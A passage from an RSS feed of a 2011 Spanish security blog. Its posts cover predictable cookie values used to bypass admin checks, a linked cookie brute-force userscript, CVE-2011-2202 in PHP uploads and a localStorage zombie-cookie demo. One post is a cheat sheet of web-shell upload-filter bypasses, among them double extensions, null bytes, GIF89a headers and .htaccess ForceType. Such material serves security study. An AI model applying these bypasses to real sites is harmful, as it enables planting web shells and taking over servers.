&lt;br /&gt;  Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).
&lt;br /&gt;
&lt;br /&gt;  Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: &lt;a href="http://xd-blog.com.ar/descargas/programas/cookie_login_bypass/script.1.0.user.js"&gt; CHPMEGAC00KIEH4X &lt;/a&gt;. Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2195405047417320237?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=3CnhTWNpLqs:DisDlnjlR1E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/3CnhTWNpLqs" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-08-26T06:24:47.750+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><media:content url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/Q10viWzlF10/script.1.0.user.js" fileSize="2309" type="application/javascript" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;} Saludos! El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cooki</itunes:subtitle><itunes:author>Copyright: "Vengador de las Sombras"</itunes:author><itunes:summary>fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;} Saludos! El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad. El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo: if ( isset($_COOKIE['id']) &amp;&amp; $_COOKIE['id'] == 1 ) Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado" En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón: ... $cookie = $usuario . rand(0,10); $cookie = base64_encode($cookie); ... En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario. Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar). Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: CHPMEGAC00KIEH4X . Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.</itunes:summary><itunes:keywords>Hack,hacking,hackers</itunes:keywords><feedburner:origLink>http://0verl0ad.blogspot.com/2011/08/insecure-cookie-handling.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~5/Q10viWzlF10/script.1.0.user.js" length="2309" type="application/javascript" /><feedburner:origEnclosureLink>http://xd-blog.com.ar/descargas/programas/cookie_login_bypass/script.1.0.user.js</feedburner:origEnclosureLink></item><item><title>CheatSheet to bypass uploaders</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/4zoJbGrjHmo/cheatsheet-to-bypass-uploaders.html</link><category>CheatSheet</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Wed, 24 Aug 2011 21:06:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-2856802919480026196</guid><description>1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)
&lt;br /&gt;2. Uso de extensiones menos conocidas (.php5..)
&lt;br /&gt;3. Doble extensión (.jpeg.php)
&lt;br /&gt;4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)
&lt;br /&gt;5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)
&lt;br /&gt;6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php    ... ......)
&lt;br /&gt;7. Usar null bytes 
&lt;br /&gt;8. Incluir caracteres extraños (";", "&amp;", "[" =&gt; shell.php;jpeg)
&lt;br /&gt;9. Bypass getimagesize() =&gt; Incluir la shell dentro de los metadatos de una imagen real (usando &lt;a href="http://0verl0ad.blogspot.com/2011/06/0verlfi-inyecta-webshells-en-metadatos.html"&gt;0verLFI&lt;/a&gt;) y después modificar el MIME type
&lt;br /&gt;10. Abuso de la normalización de rutas (shell.php/./././[...])
&lt;br /&gt;11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )
&lt;br /&gt;
&lt;br /&gt;Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2856802919480026196?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=4zoJbGrjHmo:32xJZRhvrk8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/4zoJbGrjHmo" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-08-27T06:10:32.144+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/08/cheatsheet-to-bypass-uploaders.html</feedburner:origLink></item><item><title>PHP File Path Injection</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/nzleyxomf_k/php-file-path-injection.html</link><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Wed, 24 Aug 2011 20:10:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-87507218884950065</guid><description>Saludos,
&lt;br /&gt;
&lt;br /&gt;  Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;  La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename &lt;b&gt;/loquesea&lt;/b&gt;. Por supuesto que es necesario primero tener los permisos de escritura adecuados. 
&lt;br /&gt;
&lt;br /&gt;  El exploit es tan simple como subir el archivo con la respectiva "/"  o "\". Las versiones afectadas son =&lt;5.3.6 &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-87507218884950065?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=nzleyxomf_k:WeUYKZx5P9k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/nzleyxomf_k" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-08-25T05:27:27.056+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/08/php-file-path-injection.html</feedburner:origLink></item><item><title>HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/ZdbsK48NXpU/html5-iv-local-storage-y-las-cookies.html</link><category>Cookies</category><category>HTML5</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sun, 21 Aug 2011 18:48:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-3003413683504932986</guid><description>Saludos!
&lt;br /&gt;
&lt;br /&gt;  Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).
&lt;br /&gt;
&lt;br /&gt;  En otra ocasión, hace apenas unos meses, ya comenté algo sobre &lt;a href="http://0verl0ad.blogspot.com/2011/05/zombie-cookies-cookies-que-vuelven-la.html"&gt;las cookies zombis&lt;/a&gt;, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a &lt;a href="https://twitter.com/#!/franjoespejo"&gt;@Franjoespejo&lt;/a&gt; que me están cebando a publicaciones interesantes).
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;  Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.
&lt;br /&gt;
&lt;br /&gt;   El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;----Web_original.html-------&gt;
&lt;br /&gt;&lt;code&gt;
&lt;br /&gt;&amp;lt;script&gt;
&lt;br /&gt;localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");
&lt;br /&gt;document.cookie = localStorage.getItem("Foo");
&lt;br /&gt;&amp;lt;/script&gt;
&lt;br /&gt;&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;----Respawner.html-----&gt;
&lt;br /&gt;&lt;code&gt;
&lt;br /&gt;&amp;lt;script&gt;
&lt;br /&gt;document.cookie = localStorage.getItem("Foo");
&lt;br /&gt;alert(document.cookie);
&lt;br /&gt;&amp;lt;/script&gt;
&lt;br /&gt;&lt;/code&gt;
&lt;br /&gt;
&lt;br /&gt;  Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!
&lt;br /&gt;
&lt;br /&gt;   Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.
&lt;br /&gt;
&lt;br /&gt;  Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;   Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.
&lt;br /&gt;
&lt;br /&gt;PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3003413683504932986?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=ZdbsK48NXpU:PHeHGZkMVtI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/ZdbsK48NXpU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2011-08-22T19:41:39.563+02:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2011/08/html5-iv-local-storage-y-las-cookies.html</feedburner:origLink></item><copyright>Copyright: "Vengador de las Sombras"</copyright><media:credit role="author">Copyright: "Vengador de las Sombras"</media:credit><media:rating>nonadult</media:rating><media:description type="plain">Vengador de las Sombras 's Podcast</media:description></channel></rss>

